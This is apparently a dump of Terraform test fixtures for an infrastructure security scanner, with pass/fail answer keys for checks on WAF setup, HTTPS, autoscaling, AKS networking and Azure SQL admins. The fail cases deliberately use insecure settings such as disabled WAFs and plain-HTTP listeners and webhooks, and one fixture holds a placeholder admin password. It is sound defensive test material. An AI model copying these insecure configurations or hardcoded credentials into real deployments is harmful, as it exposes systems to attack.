"aws_lb_listener" "http" { load_balancer_arn = var.aws_lb_arn protocol = "HTTP" port = "80" default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "https_2016" { load_balancer_arn = var.aws_lb_arn protocol = "HTTPS" port = "443" ssl_policy = "ELBSecurityPolicy-2016-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_lb_listener" "tls_fs_1_1" { load_balancer_arn = var.aws_lb_arn protocol = "TLS" port = "8080" ssl_policy = "ELBSecurityPolicy-FS-1-1-2019-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } resource "aws_alb_listener" "tls_fs_1_1" { load_balancer_arn = var.aws_lb_arn protocol = "TLS" port = "8080" ssl_policy = "ELBSecurityPolicy-FS-1-1-2019-08" certificate_arn = var.certificate_arn default_action { type = "forward" target_group_arn = var.aws_lb_target_group_arn } } # mimicking a Terraform plan output by using an empty block resource "aws_lb_listener" "cognito" { load_balancer_arn = var.aws_lb_arn protocol = "HTTP" port = "80" default_action { type = "authenticate-cognito" redirect { } } } resource "aws_lb_listener" "wrong_redirect" { load_balancer_arn = var.aws_lb_arn protocol = "HTTP" port = "80" default_action { type = "redirect" redirect { protocol = "HTTP" } } } # not gateway LB resource "aws_lb" "not_gateway_lb" { load_balancer_type = "not gateway" name = "example" } resource "aws_lb_listener" "not_gateway_listener" { load_balancer_arn = aws_lb.not_gateway_lb.id } ================================================ FILE: tests/terraform/graph/checks/resources/AppSyncProtectedByWAF/expected.yaml ================================================ pass: - "aws_appsync_graphql_api.pass" fail: - "aws_appsync_graphql_api.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AppSyncProtectedByWAF/main.tf ================================================ # pass resource "aws_appsync_graphql_api" "pass" { authentication_type = "API_KEY" name = "example" } resource "aws_wafv2_web_acl_association" "pass" { resource_arn = aws_appsync_graphql_api.pass.arn web_acl_arn = aws_wafv2_web_acl.example.arn } # fail resource "aws_appsync_graphql_api" "fail" { authentication_type = "API_KEY" name = "example" } ================================================ FILE: tests/terraform/graph/checks/resources/ApplicationGatewayEnablesWAF/expected.yaml ================================================ pass: - "azurerm_application_gateway.network_pass_1" - "azurerm_application_gateway.network_pass_2" fail: - "azurerm_application_gateway.network_fail_1" - "azurerm_application_gateway.network_fail_2" - "azurerm_application_gateway.network_fail_3" ================================================ FILE: tests/terraform/graph/checks/resources/ApplicationGatewayEnablesWAF/main.tf ================================================ resource "azurerm_application_gateway" "network_fail_1" { name = "example-appgateway" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name } } resource "azurerm_application_gateway" "network_fail_2" { name = "example-appgateway" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location waf_configuration { enabled = false } sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name } } resource "azurerm_application_gateway" "network_fail_3" { name = "example-appgateway" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location firewall_policy_id = azurerm_web_application_firewall_policy.bade_xample.id sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name } } resource "azurerm_web_application_firewall_policy" "bad_example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location policy_settings { enabled = false mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } resource "azurerm_application_gateway" "network_pass_1" { name = "example-appgateway" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location waf_configuration { enabled = true } sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name } } resource "azurerm_application_gateway" "network_pass_2" { name = "example-appgateway" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location firewall_policy_id = azurerm_web_application_firewall_policy.example.id sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name } } resource "azurerm_web_application_firewall_policy" "example" { name = "example-wafpolicy" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location custom_rules { name = "Rule1" priority = 1 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24", "10.0.0.0/24"] } action = "Block" } custom_rules { name = "Rule2" priority = 2 rule_type = "MatchRule" match_conditions { match_variables { variable_name = "RemoteAddr" } operator = "IPMatch" negation_condition = false match_values = ["192.168.1.0/24"] } match_conditions { match_variables { variable_name = "RequestHeaders" selector = "UserAgent" } operator = "Contains" negation_condition = false match_values = ["Windows"] } action = "Block" } policy_settings { enabled = true mode = "Prevention" request_body_check = true file_upload_limit_in_mb = 100 max_request_body_size_in_kb = 128 } managed_rules { exclusion { match_variable = "RequestHeaderNames" selector = "x-company-secret-header" selector_match_operator = "Equals" } exclusion { match_variable = "RequestCookieNames" selector = "too-tasty" selector_match_operator = "EndsWith" } managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-920-PROTOCOL-ENFORCEMENT" disabled_rules = [ "920300", "920440" ] } } } } ================================================ FILE: tests/terraform/graph/checks/resources/AppsyncWebACLConfiguredWIthLog4jVulnerability/expected.yaml ================================================ pass: - "aws_appsync_graphql_api.example_pass" - "aws_appsync_graphql_api.pass_not_connected" fail: - "aws_appsync_graphql_api.example_fail" - "aws_appsync_graphql_api.example_fail2" ================================================ FILE: tests/terraform/graph/checks/resources/AppsyncWebACLConfiguredWIthLog4jVulnerability/main.tf ================================================ # config from cloud.resource where api.name = 'aws-appsync-graphql-api' AND json.rule = wafWebAclArn is not empty as X; config from cloud.resource where api.name = 'aws-waf-v2-web-acl-resource' AND json.rule = (webACL.postProcessFirewallManagerRuleGroups.firewallManagerStatement.name does not contain AWSManagedRulesAnonymousIpList or webACL.postProcessFirewallManagerRuleGroups.firewallManagerStatement.name does not contain AWSManagedRulesKnownBadInputsRuleSet) and NOT ( webACL.rules[*].statement.managedRuleGroupStatement.name contains AWSManagedRulesAnonymousIpList and webACL.rules[*].statement.managedRuleGroupStatement.name contains AWSManagedRulesKnownBadInputsRuleSet ) as Y; filter '$.Y.webACL.arn equals $.X.wafWebAclArn'; show X; # Fail resource "aws_wafv2_web_acl" "example_fail" { name = "appsync-waf-fail" description = "WAF" scope = "REGIONAL" # AppSync WAFs are REGIONAL default_action { allow {} } # Missing AWSManagedRulesKnownBadInputsRuleSet rule { name = "AWSManagedRulesAnonymousIpListRule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "AnonymousIpList" sampled_requests_enabled = false } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "appsync-waf-fail" sampled_requests_enabled = false } } resource "aws_appsync_graphql_api" "example_fail" { authentication_type = "API_KEY" name = "appsync-api-fail" } resource "aws_wafv2_web_acl_association" "example_fail" { resource_arn = aws_appsync_graphql_api.example_fail.arn web_acl_arn = aws_wafv2_web_acl.example_fail.arn } # Fail2 resource "aws_wafv2_web_acl" "example_fail2" { name = "appsync-waf-fail2" description = "WAF" scope = "REGIONAL" # AppSync WAFs are REGIONAL default_action { allow {} } # Includes BOTH required managed rule groups rule { name = "AWSManagedRulesAnonymousIpListRule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "AnonymousIpList" sampled_requests_enabled = false } } rule { name = "AWSManagedRulesKnownBadInputsRuleSetRule" priority = 2 override_action { none {} } statement { managed_rule_group_statement { name = "foo" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "KnownBadInputs" sampled_requests_enabled = false } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "appsync-waf-pass" sampled_requests_enabled = false } } resource "aws_appsync_graphql_api" "example_fail2" { authentication_type = "API_KEY" name = "appsync-api-fail2" } resource "aws_wafv2_web_acl_association" "example_fail2" { resource_arn = aws_appsync_graphql_api.example_fail2.arn web_acl_arn = aws_wafv2_web_acl.example_fail2.arn } # ================================== # Pass resource "aws_wafv2_web_acl" "example_pass" { name = "appsync-waf-pass" description = "WAF" scope = "REGIONAL" # AppSync WAFs are REGIONAL default_action { allow {} } # Includes BOTH required managed rule groups rule { name = "AWSManagedRulesAnonymousIpListRule" priority = 1 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesAnonymousIpList" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "AnonymousIpList" sampled_requests_enabled = false } } rule { name = "AWSManagedRulesKnownBadInputsRuleSetRule" priority = 2 override_action { none {} } statement { managed_rule_group_statement { name = "AWSManagedRulesKnownBadInputsRuleSet" vendor_name = "AWS" } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "KnownBadInputs" sampled_requests_enabled = false } } visibility_config { cloudwatch_metrics_enabled = false metric_name = "appsync-waf-pass" sampled_requests_enabled = false } } resource "aws_appsync_graphql_api" "example_pass" { authentication_type = "API_KEY" name = "appsync-api-pass" } resource "aws_wafv2_web_acl_association" "example_pass" { resource_arn = aws_appsync_graphql_api.example_pass.arn web_acl_arn = aws_wafv2_web_acl.example_pass.arn } # Pass - not connected resource "aws_appsync_graphql_api" "pass_not_connected" { authentication_type = "API_KEY" name = "not-connected" } ================================================ FILE: tests/terraform/graph/checks/resources/AutoScalingEnableOnDynamoDBTables/expected.yaml ================================================ pass: - "aws_dynamodb_table.pass" - "aws_dynamodb_table.pass_on_demand" - "aws_dynamodb_table.pass_unset" fail: - "aws_dynamodb_table.fail" - "aws_dynamodb_table.fail_no_policy" ================================================ FILE: tests/terraform/graph/checks/resources/AutoScalingEnableOnDynamoDBTables/main.tf ================================================ # pass resource "aws_dynamodb_table" "pass" { name = "user" hash_key = "user-id" billing_mode = "PROVISIONED" read_capacity = 10 write_capacity = 10 attribute { name = "user-id" type = "S" } } resource "aws_appautoscaling_target" "pass" { resource_id = "table/${aws_dynamodb_table.pass.name}" scalable_dimension = "dynamodb:table:ReadCapacityUnits" service_namespace = "dynamodb" min_capacity = 1 max_capacity = 15 } resource "aws_appautoscaling_policy" "pass" { name = "rcu-auto-scaling" service_namespace = aws_appautoscaling_target.pass.service_namespace scalable_dimension = aws_appautoscaling_target.pass.scalable_dimension resource_id = aws_appautoscaling_target.pass.resource_id policy_type = "TargetTrackingScaling" target_tracking_scaling_policy_configuration { predefined_metric_specification { predefined_metric_type = "DynamoDBReadCapacityUtilization" } target_value = 75 scale_in_cooldown = 300 scale_out_cooldown = 300 } } resource "aws_dynamodb_table" "pass_unset" { name = "user" hash_key = "user-id" read_capacity = 10 write_capacity = 10 attribute { name = "user-id" type = "S" } } resource "aws_appautoscaling_target" "pass_unset" { resource_id = "table/${aws_dynamodb_table.pass_unset.name}" scalable_dimension = "dynamodb:table:ReadCapacityUnits" service_namespace = "dynamodb" min_capacity = 1 max_capacity = 15 } resource "aws_appautoscaling_policy" "pass_unset" { name = "rcu-auto-scaling" service_namespace = aws_appautoscaling_target.pass_unset.service_namespace scalable_dimension = aws_appautoscaling_target.pass_unset.scalable_dimension resource_id = aws_appautoscaling_target.pass_unset.resource_id policy_type = "TargetTrackingScaling" target_tracking_scaling_policy_configuration { predefined_metric_specification { predefined_metric_type = "DynamoDBReadCapacityUtilization" } target_value = 75 scale_in_cooldown = 300 scale_out_cooldown = 300 } } resource "aws_dynamodb_table" "pass_on_demand" { name = "user" hash_key = "user-id" billing_mode = "PAY_PER_REQUEST" attribute { name = "user-id" type = "S" } } # fail resource "aws_dynamodb_table" "fail" { name = "user" hash_key = "user-id" billing_mode = "PROVISIONED" read_capacity = 10 write_capacity = 10 attribute { name = "user-id" type = "S" } } resource "aws_dynamodb_table" "fail_no_policy" { name = "user" hash_key = "user-id" billing_mode = "PROVISIONED" read_capacity = 10 write_capacity = 10 attribute { name = "user-id" type = "S" } } resource "aws_appautoscaling_target" "fail_no_policy" { resource_id = "table/${aws_dynamodb_table.fail_no_policy.name}" scalable_dimension = "dynamodb:table:ReadCapacityUnits" service_namespace = "dynamodb" min_capacity = 1 max_capacity = 15 } # unknown resource "aws_appautoscaling_target" "ecs" { max_capacity = 4 min_capacity = 1 resource_id = "service/clusterName/serviceName" scalable_dimension = "ecs:service:DesiredCount" service_namespace = "ecs" } resource "aws_appautoscaling_policy" "ecs" { name = "scale-down" policy_type = "StepScaling" resource_id = aws_appautoscaling_target.ecs.resource_id scalable_dimension = aws_appautoscaling_target.ecs.scalable_dimension service_namespace = aws_appautoscaling_target.ecs.service_namespace step_scaling_policy_configuration { adjustment_type = "ChangeInCapacity" cooldown = 60 metric_aggregation_type = "Maximum" step_adjustment { metric_interval_upper_bound = 0 scaling_adjustment = -1 } } } ================================================ FILE: tests/terraform/graph/checks/resources/AutoScalingEnabledLB/expected.yaml ================================================ pass: - "ncloud_auto_scaling_group.pass" fail: - "ncloud_auto_scaling_group.fail" - "ncloud_auto_scaling_group.fail2" ================================================ FILE: tests/terraform/graph/checks/resources/AutoScalingEnabledLB/main.tf ================================================ resource "ncloud_launch_configuration" "lc" { name = "my-lc" server_image_product_code = "SW.VSVR.OS.LNX64.CNTOS.0703.B050" server_product_code = "SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002" } resource "ncloud_vpc" "example" { ipv4_cidr_block = "10.0.0.0/16" } resource "ncloud_subnet" "example" { vpc_no = ncloud_vpc.example.vpc_no subnet = "10.0.0.0/24" zone = "KR-2" network_acl_no = ncloud_vpc.example.default_network_acl_no subnet_type = "PUBLIC" usage_type = "GEN" } resource "ncloud_lb_target_group" "test" { vpc_no = ncloud_vpc.test.vpc_no protocol = "HTTP" target_type = "VSVR" port = 8080 description = "for test" health_check { protocol = "HTTP" http_method = "GET" port = 8080 url_path = "/monitor/l7check" cycle = 30 up_threshold = 2 down_threshold = 2 } algorithm_type = "RR" } resource "ncloud_lb_target_group" "test2" { vpc_no = ncloud_vpc.test.vpc_no protocol = "HTTP" target_type = "VSVR" port = 8080 description = "for test" algorithm_type = "RR" } resource "ncloud_auto_scaling_group" "pass" { access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no] subnet_no = ncloud_subnet.example.subnet_no launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no min_size = 1 max_size = 1 health_check_type_code = "LOADB" health_check_grace_period = 300 target_group_list = [ncloud_lb_target_group.test.target_group_no] } resource "ncloud_auto_scaling_group" "fail" { access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no] subnet_no = ncloud_subnet.example.subnet_no launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no min_size = 1 max_size = 1 health_check_type_code = "LOADB" health_check_grace_period = 300 } resource "ncloud_auto_scaling_group" "fail2" { access_control_group_no_list = [ncloud_vpc.example.default_access_control_group_no] subnet_no = ncloud_subnet.example.subnet_no launch_configuration_no = ncloud_launch_configuration.lc.launch_configuration_no min_size = 1 max_size = 1 health_check_type_code = "LOADB" health_check_grace_period = 300 target_group_list = [ncloud_lb_target_group.test2.target_group_no] } ================================================ FILE: tests/terraform/graph/checks/resources/AutoScallingEnabledELB/expected.yaml ================================================ pass: - "aws_autoscaling_attachment.test_ok_attachment" - "aws_autoscaling_attachment.alb_pass" fail: - "aws_autoscaling_attachment.test_bad_attachment" - "aws_autoscaling_attachment.alb_fail" ================================================ FILE: tests/terraform/graph/checks/resources/AutoScallingEnabledELB/main.tf ================================================ resource "aws_autoscaling_group" "autoscalling_ok" { max_size = 5 min_size = 2 health_check_grace_period = 300 health_check_type = "ELB" desired_capacity = 4 force_delete = true lifecycle { ignore_changes = [load_balancers, target_group_arns] } } resource "aws_autoscaling_attachment" "test_ok_attachment" { autoscaling_group_name = aws_autoscaling_group.autoscalling_ok.id elb = aws_elb.test_ok.id } resource "aws_elb" "test_ok" { name = "foobar-terraform-elb" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] access_logs { bucket = "foo" bucket_prefix = "bar" interval = 60 } listener { instance_port = 8000 instance_protocol = "http" lb_port = 80 lb_protocol = "http" } listener { instance_port = 8000 instance_protocol = "http" lb_port = 443 lb_protocol = "https" ssl_certificate_id = "arn:aws:iam::123456789012:server-certificate/certName" } health_check { healthy_threshold = 2 unhealthy_threshold = 2 timeout = 3 target = "HTTP:8000/" interval = 30 } instances = [aws_instance.foo.id] cross_zone_load_balancing = true idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 tags = { Name = "foobar-terraform-elb" } } resource "aws_autoscaling_group" "autoscalling_bad" { max_size = 5 min_size = 2 health_check_grace_period = 300 health_check_type = "ELB" desired_capacity = 4 force_delete = true lifecycle { ignore_changes = [load_balancers, target_group_arns] } } resource "aws_autoscaling_attachment" "test_bad_attachment" { autoscaling_group_name = aws_autoscaling_group.autoscalling_bad.id elb = aws_elb.test_bad.id } resource "aws_elb" "test_bad" { name = "foobar-terraform-elb" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] access_logs { bucket = "foo" bucket_prefix = "bar" interval = 60 } listener { instance_port = 8000 instance_protocol = "http" lb_port = 80 lb_protocol = "http" } listener { instance_port = 8000 instance_protocol = "http" lb_port = 443 lb_protocol = "https" ssl_certificate_id = "arn:aws:iam::123456789012:server-certificate/certName" } instances = [aws_instance.foo.id] cross_zone_load_balancing = true idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 tags = { Name = "foobar-terraform-elb" } } # LB resource "aws_autoscaling_group" "alb_pass" { max_size = 5 min_size = 2 health_check_grace_period = 300 health_check_type = "ELB" desired_capacity = 4 force_delete = true lifecycle { ignore_changes = [load_balancers, target_group_arns] } } resource "aws_lb_target_group" "alb_pass" { name = "tf-example-lb-tg" port = 8080 protocol = "HTTP" vpc_id = aws_vpc.main.id health_check { path = "/" port = 8080 protocol = "HTTP" healthy_threshold = 3 unhealthy_threshold = 3 matcher = "200-499" } } resource "aws_autoscaling_attachment" "alb_pass" { autoscaling_group_name = aws_autoscaling_group.alb_pass.id lb_target_group_arn = aws_lb_target_group.alb_pass.arn } resource "aws_autoscaling_group" "alb_fail" { max_size = 5 min_size = 2 health_check_grace_period = 300 health_check_type = "ELB" desired_capacity = 4 force_delete = true lifecycle { ignore_changes = [load_balancers, target_group_arns] } } resource "aws_lb_target_group" "alb_fail" { name = "tf-example-lb-tg" port = 8080 protocol = "HTTP" vpc_id = aws_vpc.main.id } resource "aws_autoscaling_attachment" "alb_fail" { autoscaling_group_name = aws_autoscaling_group.alb_fail.id lb_target_group_arn = aws_lb_target_group.alb_fail.arn } ================================================ FILE: tests/terraform/graph/checks/resources/AzureACR_HTTPSwebhook/expected.yaml ================================================ pass: - "azurerm_container_registry_webhook.pass" fail: - "azurerm_container_registry_webhook.fail" ================================================ FILE: tests/terraform/graph/checks/resources/AzureACR_HTTPSwebhook/main.tf ================================================ # PASS Case: "service_uri" starts with https:// resource "azurerm_container_registry_webhook" "pass" { name = "pudwebhook" resource_group_name = azurerm_resource_group.pudrg.name registry_name = azurerm_container_registry.acr.name location = azurerm_resource_group.pudrg.location service_uri = "https://pudwebhookreceiver.pud/prx" status = "enabled" scope = "prx:*" actions = ["push"] custom_headers = { "Content-Type" = "application/json" } } # FAIL Case: "service_uri" does NOT start with https:// resource "azurerm_container_registry_webhook" "fail" { name = "pudwebhook" resource_group_name = azurerm_resource_group.pudrg.name registry_name = azurerm_container_registry.acr.name location = azurerm_resource_group.pudrg.location service_uri = "http://pudwebhookreceiver.pud/prx" status = "enabled" scope = "prx:*" actions = ["push"] custom_headers = { "Content-Type" = "application/json" } } ================================================ FILE: tests/terraform/graph/checks/resources/AzureAKSclusterAzureCNIEnabled/expected.yaml ================================================ pass: - "azurerm_kubernetes_cluster.pass" fail: - "azurerm_kubernetes_cluster.fail_1" - "azurerm_kubernetes_cluster.fail_2" ================================================ FILE: tests/terraform/graph/checks/resources/AzureAKSclusterAzureCNIEnabled/main.tf ================================================ # PASS case: "network_profile.network_plugin = azure" resource "azurerm_kubernetes_cluster" "pass" { name = "pudpasscluster" location = azurerm_resource_group.pudaksclus.location resource_group_name = azurerm_resource_group.pudaksclus.name dns_prefix = "pudaks" node_resource_group = "pudaksclus" default_node_pool { type = "AvailabilitySet" name = "default" node_count = 3 vm_size = "Standard_D2_v2" vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id } identity { type = "SystemAssigned" } network_profile { network_plugin = "azure" } oms_agent { log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id } http_application_routing_enabled = false role_based_access_control_enabled = true } # FAIL case 1: "network_profile.network_plugin" not equals to 'azure' resource "azurerm_kubernetes_cluster" "fail_1" { name = "pudpasscluster" location = azurerm_resource_group.pudaksclus.location resource_group_name = azurerm_resource_group.pudaksclus.name dns_prefix = "pudaks" node_resource_group = "pudaksclus" default_node_pool { type = "AvailabilitySet" name = "default" node_count = 3 vm_size = "Standard_D2_v2" vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id } identity { type = "SystemAssigned" } network_profile { network_plugin = "kubernet" } oms_agent { log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id } http_application_routing_enabled = false role_based_access_control_enabled = true } # FAIL case 2: "network_profile.network_plugin" does not exist # If "network_profile" block is absent, by default the value is taken as 'kubernet # FMI: https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/kubernetes_cluster#network_profile resource "azurerm_kubernetes_cluster" "fail_2" { name = "pudpasscluster" location = azurerm_resource_group.pudaksclus.location resource_group_name = azurerm_resource_group.pudaksclus.name dns_prefix = "pudaks" node_resource_group = "pudaksclus" default_node_pool { type = "AvailabilitySet" name = "default" node_count = 3 vm_size = "Standard_D2_v2" vnet_subnet_id = azurerm_subnet.dep-subnet-pudakssubnet.id } identity { type = "SystemAssigned" } oms_agent { log_analytics_workspace_id = azurerm_log_analytics_workspace.pudaksclus.id } http_application_routing_enabled = false role_based_access_control_enabled = true } ================================================ FILE: tests/terraform/graph/checks/resources/AzureActiveDirectoryAdminIsConfigured/expected.yaml ================================================ pass: - "azurerm_sql_server.sql_server_good" fail: - "azurerm_sql_server.sql_server_bad" ================================================ FILE: tests/terraform/graph/checks/resources/AzureActiveDirectoryAdminIsConfigured/main.tf ================================================ data "azurerm_client_config" "current" {} resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_sql_server" "sql_server_good" { name = "mysqlserver" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" # checkov:skip=CKV_SECRET_6 test secret } resource "azurerm_sql_server" "sql_server_bad" { name = "mysqlserver" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location version = "12.0" administrator_login = "4dm1n157r470r" administrator_login_password = "4-v3ry-53cr37-p455w0rd" } resource "azurerm_sql_active_directory_administrator" "example" { server_name = azurerm_sql_server.sql_server_good.name resource_group_name = azurerm_resource_group.example.name login = "sqladmin" tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id } ================================================ FILE: tests/terraform/graph/checks/resources/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs/expected.yaml ================================================ pass: - "azurerm_virtual_machine.virtual_machine_good_1" fail: - "azurerm_virtual_machine.virtual_machine_bad_1" - "azurerm_virtual_machine.virtual_machine_bad_2" - "azurerm_virtual_machine.virtual_machine_bad_3" ================================================ FILE: tests/terraform/graph/checks/resources/AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs/main.tf ================================================ resource "azurerm_virtual_machine" "virtual_machine_good_1" { name = "acctvm" location = "location" resource_group_name = "group" network_interface_ids = ["id"] vm_size = "Standard_F2" storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" } } resource "azurerm_virtual_machine" "virtual_machine_bad_1" { name = "acctvm" location = "location" resource_group_name = "group" network_interface_ids = ["id"] vm_size = "Standard_F2" storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" } } resource "azurerm_virtual_machine" "virtual_machine_bad_2" { name = "acctvm" location = "location" resource_group_name = "group" network_interface_ids = ["id"] vm_size = "Standard_F2" storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" } } resource "azurerm_virtual_machine" "virtual_machine_bad_3" { name = "acctvm" location = "location" resource_group_name = "group" network_interface_ids = ["id"] vm_size = "Standard_F2" storage_os_disk { name = "myosdisk1" caching = "ReadWrite" create_option = "FromImage" } } resource "azurerm_virtual_machine_extension" "extension_good_1" { name = "hostname" virtual_machine_id = azurerm_virtual_machine.virtual_machine_good_1.id publisher = "Microsoft.Azure.Security" type = "IaaSAntimalware" type_handler_version = "2.0" auto_upgrade_minor_version = true } resource "azurerm_virtual_machine_extension" "extension_bad_1" { name = "hostname" virtual_machine_id = azurerm_virtual_machine.virtual_machine_bad_1.id publisher = "Microsoft.Azure.Extensions" type = "IaaSAntimalware" type_handler_version = "2.0" auto_upgrade_minor_version = true } resource "azurerm_virtual_machine_extension" "extension_bad_2" { name = "hostname" virtual_machine_id = azurerm_virtual_machine.virtual_machine_bad_2.id publisher = "Microsoft.Azure.Security" type = "IaaSAntimalware" type_handler_version = "2.0" auto_upgrade_minor_version = false } resource "azurerm_virtual_machine_extension" "extension_bad_3" { name = "hostname" virtual_machine_id = azurerm_virtual_machine.virtual_machine_bad_3.id publisher = "Microsoft.Azure.Security" type = "CustomScript" type_handler_version = "2.0" auto_upgrade_minor_version = true } ================================================ FILE: tests/terraform/graph/checks/resources/AzureAutomationAccConfigManagedIdentity/expected.yaml ================================================ pass: - "azurerm_automation_account.pass" fail: - "azurerm_automation_account.fail_1" - "azurerm_automation_account.fail_2" ================================================ FILE: 